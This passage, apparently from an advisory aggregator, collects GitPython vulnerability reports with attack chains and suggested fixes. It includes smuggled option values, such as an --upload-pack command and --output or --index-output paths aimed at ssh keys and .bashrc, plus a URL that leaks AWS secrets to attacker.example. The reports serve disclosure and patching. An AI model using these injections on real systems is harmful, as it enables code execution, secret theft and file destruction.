.git/config, which git fully trusts.core.sshCommandis executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*,core.pager,core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:Repo.create_submodule(name=...)(single call); orRepo.clone_fromof an untrusted repository followed bysubmodule_update— the canonical submodule threat model, where the malicious name is read from the cloned.gitmodules.No non-default git settings are required. Primarily a Unix vector: on Windows the
"in the resulting.git/modules/<name>directory name can abort the fresh-clone write branch (the direct config-API andcreate_submodulesinks are unaffected).Recommended fix
Reject or escape configuration section/subsection/option names that contain
],[,", or leading/trailing whitespace (or apply git's own section-name escaping) in_assure_config_name_safe/write_section, rather than only CR/LF/NUL. Validating submodule names before they reachsm_sectionwould additionally close the clone-driven path.Severity
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks
CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952
More information
Details
Summary
GitPython's
unsafe_git_clone_optionsdenylist omits--template.git clone --template=<dir>copies<dir>/hooks/into the new repository and runs them (post-checkoutfires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the defaultallow_unsafe_options=Falseconfiguration.Root Cause
base.py:145-152definesunsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]—--templateis absent. The guard candidate['--template']passescheck_unsafe_options(verified). git copies the hook directory and executespost-checkoutat checkout time. git'sprotocol.allow/GIT_ALLOW_PROTOCOLdo not gate--template; the incomplete denylist is the only defense.Impact
Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs,
/tmp, or attacker-writable network paths), reflected as AC:H.Proof of Concept
Attack Chain
<dir>/hooks/post-checkout(chmod +x). Guard: n/a (filesystem).Repo.clone_from(url, path, template='<dir>'). Guard:check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof:--templatenot on the denylist -> passes (verified candidate['--template'], no error).post-checkoutat checkout. Impact: ACE, default config (verified marker created).Bypass Evidence
Live-verified on HEAD (tag 3.1.53): guard candidate
['--template']passed with no error; stagedpost-checkouthook executed duringclone_from, creating the marker. Independent of the value-smuggle bypass (--templateis a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.Affected Versions
<= 3.1.53Suggested Fix
Add
--template(and audit for other hook/exec-influencing options) tounsafe_git_clone_options.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)
CVE-2026-73624 / GHSA-fjr4-x663-mwxc
More information
Details
Summary
Diffable.diff()forwards**kwargsstraight intodiff/diff_treewith nocheck_unsafe_optionsguard.Diffableis mixed intoCommit,Tree,IndexFile, andSubmodule, giving a broad surface.git diff --output=<path>writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.Root Cause
diff.py:188-283builds and runs the diff command with nocheck_unsafe_optionsanywhere in the method (grep-confirmed). Additionallydiff.py:265doesargs.insert(0, other), placing the caller-suppliedotherref BEFORE the--separator, so a value of--output=/pathis parsed by git as an option — a value-only control path requiring no kwarg key.Impact
Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g.
~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.Proof of Concept
Attack Chain
commit.diff(other=<user ref>)withother = "--output=/home/app/.ssh/authorized_keys". Guard: none inDiffable.diff. Bypass proof: nocheck_unsafe_optionsin the method body (grep);otherinserted pre---at diff.py:265.git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...-> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.Bypass Evidence
Live-verified on HEAD (tag 3.1.53): both key-control (
output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy foriter_commits(rev='--output=')— butdiffis a distinct, unguarded sink NOT touched by that fix.Affected Versions
<= 3.1.53Suggested Fix
Add
check_unsafe_optionstoDiffable.diff(mirroringiter_commits/archive), and/or place--end-of-optionsbefore theotherref so it cannot be parsed as an option.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution
CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953
More information
Details
Summary
GitPython's
check_unsafe_optionsguard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from,fetch/pull/push,ls_remote,iter_commits,blame,archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the defaultallow_unsafe_options=Falseconfiguration this yields arbitrary command execution via--upload-pack.Root Cause
The guard builds its candidate option list from kwarg KEYS only:
_option_candidates([], {"n":"--upload-pack=<cmd>"})returns['-n'](cmd.py:1042-1046 derives the candidate from the key, never the value).-nis not on the denylist, socheck_unsafe_optionspasses. Buttransform_kwarg('n', value, split_single_char_options=True)(cmd.py:1600-1606) emits two argv tokens['-n', '--upload-pack=<cmd>']. git then parses the second token as--upload-packand executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only_option_candidates.Proof of Concept
File-write variant on a guarded revision command:
iter_commits('HEAD', g='--output=/path')-> candidate['-g']passes, argv['-g','--output=/path'], victim file truncated.Attack Chain
Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard:check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)at base.py. Bypass proof:_option_candidates([], {"n":"--upload-pack=..."})->['-n'](key-only), not on denylist -> no UnsafeOptionError (verified live).transform_kwarg('n', value, split_single_char_options=True)->['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).Bypass Evidence
Live-verified on HEAD (tag 3.1.53):
_option_candidatesreturns key-only candidate['-n'];transform_kwargsemits the smuggled--upload-pack=token; clone_from with the payload created the marker file; the direct-nameupload_pack=form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.Affected Versions
<= 3.1.53Suggested Fix
Make
_option_candidatesalso emit candidates derived from single-character kwarg VALUES whensplit_single_char_optionsis in effect, OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952
More information
Details
GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953
More information
Details
GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951
More information
Details
Summary
The fix for GHSA-rwj8-pgh3-r573 stopped
Repo.clone_from()from running caller-supplied URLs throughos.path.expandvars(), but it guarded only that one caller.Remote.create()— reached from the publicRepo.create_remote()and itsRemote.add()alias — still passes an attacker-influenceable URL throughGit.polish_url()with the defaultexpand_vars=True. A URL such ashttp://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.gitis expanded server-side to embed the hosting process's environment secret, written into.git/config, and then transmitted to the attacker's host on the nextfetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.Root Cause
Fix commit
8ac5a305added anexpand_varsparameter toGit.polish_url()(defaultTrue) and usedexpand_vars=Falseonly inRepo._clone()(git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.git/remote.py:811,Remote.create:check_unsafe_protocols()runs after expansion here, so it rejects anext::payload but does nothing about anhttps://URL that carries an expanded secret in its path or host — the disclosure primitive.The same unguarded call also sits at
git/objects/submodule/base.py:611(Submodule.add), which writes the expanded URL into.gitmodules(a tracked file) and.git/config.Steps to Reproduce
Prerequisites
gitonPATH(for the fetch step)Step 1: Install GitPython 3.1.53 in a clean venv
Step 2: Write the PoC
Step 3: Run it
Expected output (the listener's ephemeral port is shown as
PORT):The
${GP_SENTINEL_SECRET}token in the supplied URL is replaced with the environment value both in the stored.git/configURL and in the request that reaches the attacker-controlled host.Suggested Fix
Pass
expand_vars=Falseat the remaining URL callers, matching the clone fix:git/remote.pyRemote.create:url = Git.polish_url(url, expand_vars=False)git/objects/submodule/base.pySubmodule.add:url = Git.polish_url(url, expand_vars=False)More robustly, flip the
Git.polish_url()default toexpand_vars=False(env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.Cleanup
Impact
Any secret in the hosting process environment (
AWS_SECRET_ACCESS_KEY,GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed toRepo.create_remote()/Remote.add(). The secret is expanded into.git/configimmediately and transmitted over the network (DNS + HTTP) on the nextfetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches.gitmodules(a committable file) viaSubmodule.add().Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951
More information
Details
GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count
CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950
More information
Details
Summary
Commit.count()forwards**kwargsintorev_listwith nocheck_unsafe_optionsguard (the guard exists only in the siblingiter_items, commit.py:341).git rev-list --output=<path>opens and truncates the target file to 0 bytes before revision parsing, socount(output='/victim')destroys/blanks an arbitrary file.Root Cause
commit.py:290-291callsself.repo.git.rev_list(self.hexsha, **kwargs)with nocheck_unsafe_optionsand noallow_unsafe_optionsparameter. The siblingiter_items(commit.py:341) is guarded;countis not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixediter_commits/blame, notcount.Impact
Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (
countusesself.hexsha, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM.Proof of Concept
Attack Chain
commit.count(output='/victim'). Guard: none. Bypass proof:iter_commits(output=)raises UnsafeOptionError;count(output=)does not — verified side-by-side.git rev-list <sha> --output=/victim-> file truncated to 0 bytes. Impact: destroy/blank arbitrary file.Bypass Evidence
Live-verified on HEAD (tag 3.1.53):
count(output=<victim>)truncated a pre-existing file to 0 bytes; guardediter_commits(output=)raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v'sarchive(**kwargs). Uncovered sink, not a duplicate.Affected Versions
<= 3.1.53Suggested Fix
Add
check_unsafe_optionstoCommit.count(mirroringiter_items).Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950
More information
Details
GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=, causing 'git rev-list --output=' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read
CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949
More information
Details
Target: gitpython-developers/GitPython
Tested: HEAD
07e80555(2026-07-25), latest release 3.1.55,git version 2.50.1Reported instances: 2 exploitable, from a sweep of 14 unguarded call sites
Summary
GitPython blocks dangerous git options through
Git.check_unsafe_options(), gated per method by anallow_unsafe_optionsparameter. That guard is applied per call site, so any API that forwards**kwargsinto a git command without calling it passes caller-controlled options straight to git.A mechanical sweep of every method that forwards
**kwargsinto a.git.<command>(...)call found 14 sites with no guard. Two reach a git option that takes a filesystem path:IndexFile.checkout()→git checkout-index--prefix=<path>TagReference.create()→git tag-F <file>/--file=<file>This is the same defect class already fixed in
Commit.count()(GHSA-p538-c434-8v24),Repo.archive()andGit.ls_remote()(GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.Instance 1 —
IndexFile.checkout(): arbitrary file overwritegit/index/base.py:1210accepts**kwargsand forwards them with no guard:There is no
allow_unsafe_optionsparameter and nocheck_unsafe_options()call in the method.git checkout-indexaccepts--prefix=<string>, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and-foverwrites what is already there.Reproduction
Observed (
poc/poc_checkout_index.py) — no exception raised, files land outside the repository:Overwrite of a pre-existing file (
poc/poc_ci_overwrite.py) — the victim file heldORIGINAL-DO-NOT-CLOBBER\nbefore the call:Why this rates High
Both halves of the write are attacker-influenced:
prefixkwarg.Commit a file named
authorized_keys,.bashrc,configorpost-checkout, choose the matching prefix (~/.ssh/,~/,.git/hooks/), and the write becomes code execution as the service account.For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via
git diff --output) is rated High, and GHSA-p538-c434-8v24 (arbitrary file truncation viagit rev-list --output) is rated Medium.--prefixsupplies full content control, so it sits at or above the former.Instance 2 —
TagReference.create(): arbitrary file readgit/refs/tag.py:88forwards**kwargsintogit tagwith no guard, and the signature advertises the passthrough:git tagaccepts-F <file>/--file=<file>, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller viaTagReference.tag.message, so the file contents come back in-band.Reproduction
Observed (
poc/poc_tag_F.py), reading a canary file outside the repository:Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (
-s,-u/--local-user) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.Sweep results — the other 12 sites
Reported so the fix can be scoped once rather than per report.
poc/sweep.pyreproduces this list.IndexFile.from_tree()read-tree--index-output=<path>looked reachable but is neutralised: GitPython appends its own--index-outputafter the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (poc/poc_readtree.py)IndexFile.remove()rm--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive foundIndexFile.move()mvHEAD.reset()resetHEAD.checkout()checkoutHead.delete(),RemoteReference.delete()branchRepo.merge_base()merge-baseRepo._get_untracked_files()statusRemote.set_url(),Remote.create(),Remote.update()remoteSuggested remediation
Immediate: add
allow_unsafe_options: bool = Falseto both methods and gateGit._option_candidates(args, kwargs)against new lists —unsafe_git_checkout_index_options = ["--prefix"](consider--temp) andunsafe_git_tag_options = ["--file", "-F"](consider-s,-u/--local-user,--cleanup) — matching the pattern used inRepo.archive()andCommit.count().Structural: this defect has now been fixed four times in four places (
Repo.archive(),Git.ls_remote(),Commit.count(), and the two here), because the guard is opt-in per method: every new**kwargs-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally inGit._call_process()— each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.Disclosure
Reported privately via GitHub private vulnerability reporting.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()
CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948
More information
Details
Target: gitpython-developers/GitPython
Tested: HEAD
07e80555(2026-07-25), latest release 3.1.55,git version 2.50.1Summary
Repo.archive()does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.The comment on
--outputstates the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe.--outputis blocked because it writes to a caller-chosen path.git archivealso accepts--add-file=<path>and--add-virtual-file=<path:content>(both present in current git; verified againstgit version 2.50.1).--add-filereads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.
Reachability proof (verified at the sink)
poc/poc_addfile.pyat HEAD07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.
Minimal reproduction:
The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by
transform_kwargsinto--add-file=<path>and reachesgit archiveunmodified.Direct precedent
GHSA-6p8h-3wgx-97gf(High, published 2026-07-22) is the same defect on the sibling list: "Incompleteunsafe_git_clone_optionsdenylist omits--template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it.git logshows the archive list itself has already been extended reactively once, in701ce32f(fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the--templateomission was then fixed separately inffcb5359.--add-virtual-fileis the same gap pointing the other way--add-virtual-file=<path:content>lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived.Suggested remediation
Repo.archive()has a small legitimate option surface (format,prefix,worktree_attributes,remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.--add-fileand--add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on--outputalready implies that rule; applying it consistently is what closes the class instead of this instance.Scope limits
Repo.archive(). That is the identical precondition to--output,--execand--template, all of which this project has treated as reportable.Disclosure
Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.
Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately
While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.
Repo._clone()treats a URL's protocol as a security boundary and appliescheck_unsafe_protocols()to exactly one input:git cloneaccepts a second URL via--bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent fromunsafe_git_clone_options, so the option guard passes it, andcheck_unsafe_protocols()never inspects it. A caller-influenced value therefore drives an outbound request from the host:Confirmed against a local listener — the request leaves the process:
file:///pathis likewise accepted without error. Note this is not a tokenisation bypass:multi_optionsisshlex.splitbefore the check (perc9a26789/ GHSA-x2qx-6953-8485), so the fully-split--bundle-uri=...token is checked and legitimately passes because the option is not on the list.Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through
check_unsafe_protocols(), not only the positional URL. Adding--bundle-uritounsafe_git_clone_optionswould be the minimal fix.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948
More information
Details
GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949
More information
Details
GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite
CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838
More information
Details
Summary
IndexFile.from_tree,IndexFile.reset(→ from_tree) andIndexFile.merge_treeappend caller-influenced treeish strings positionally togit read-treewith no unsafe-option guard, noallow_unsafe_optionsparameter, and no--separator.git read-tree --index-output=<file>writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected--index-outputoverride the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit3af0c251(GHSA-3f7w-8rr8-f37f) guarded onlycheckout_indexandtag;read_treewas left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).Root Cause
from_tree(index/base.py:388),reset(delegates to from_tree), andmerge_tree(index/base.py:291) callrepo.git.read_tree(*arg_list)with nocheck_unsafe_optionsand no--. The treeish is caller-influenced and positional.Impact
Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.
Proof of Concept
Attack Chain
IndexFile.from_tree(repo, treeish)/reset(commit=…)/merge_tree(base=…, rhs=…)with attackertreeish="--index-output=/home/victim/.bashrc".allow_unsafe_optionsand never callcheck_unsafe_options.repo.git.read_tree(*arg_list)— no--. argv (from_tree, observed):['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'](last-wins).Bypass Evidence
Independently reproduced (gate harness):
IndexFile.from_tree(repo,'--index-output=<victim>')→ victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after startsDIRC\x00\x00\x00\x02…(destructive clobber, valid index blob).reset(commit=…)and bothmerge_treepositionals verified. Fix-commit read:3af0c251touched onlycheckout_index+tag;read_treeuntouched on HEAD.Affected Versions
GitPython <= 3.1.57(sinks present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) tofrom_tree/reset/merge_tree, and/or place a--separator before the positional treeish arguments; block--index-output(a path-taking option) on this sink.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks
CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840
More information
Details
Summary
Repo.init()forwards**kwargsverbatim togit initwith no unsafe-option guard and noallow_unsafe_optionsparameter.git init --template=<dir>copies<dir>/hooks/*into the new repo's.git/hooks, so an attacker-controlledtemplatekwarg plants a hook that executes on the next git operation → arbitrary code execution.--templateis already recognized as unsafe for clone (it is onunsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), butRepo.initis a distinct method that never received a guard and needs an independent fix.Root Cause
Repo.init(path, mkdir, odbt, expand_vars, **kwargs)is a baregit.init(**kwargs)(git/repo/base.py:1435) with nocheck_unsafe_optionsand noallow_unsafe_options.Impact
Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a
template=kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Defaultallow_unsafe_optionsis irrelevant here becauseRepo.inithas no guard at all.Proof of Concept
Attack Chain
/evil/hooks/post-commit(executable) and gets the app to callRepo.init(path, template='/evil').Repo.init. Bypass proof: base.py:1435 is a baregit.init(**kwargs). argv (observed):['git','init','--template=/evil']./evil/hooks/post-commit→<repo>/.git/hooks/post-commit.Bypass Evidence
Independently reproduced (gate harness):
Repo.init(dst, template='<evil>')→ argv['git','init','--template=<evil>']unguarded; hook copied into.git/hooks/post-commit; aftergit committheINIT_ACEmarker was created.--separate-git-dir=<path>is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).Affected Versions
GitPython <= 3.1.57(unguardedgit.init(**kwargs)present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) toRepo.init, consulting a denylist that includes--templateand--separate-git-dir(path-taking / hook-installing options).Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841
More information
Details
Summary
IndexFile.remove()andHead.checkout()forward**kwargsintogit rmandgit checkoutwith no guard. Passing
--pathspec-from-file=<file>together with--pathspec-file-nulmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through
GitCommandError.stderr, so theentire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f -
TagReference.create()with
-F, arbitrary file read returned in band - at two sites that advisory assessed andcleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"
--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive found":IndexFile.remove()rm--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive foundIndexFile.move()mvHEAD.reset()resetHEAD.checkout()checkoutThat assessment is very nearly right, and I think that is why it held: with
--pathspec-from-filealone, Git splits on newlines and the error quotes only the firstline, which reads as an uninteresting partial. Adding
--pathspec-file-nul- a sibling flagof the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:git/refs/head.py:237-268:Neither has an
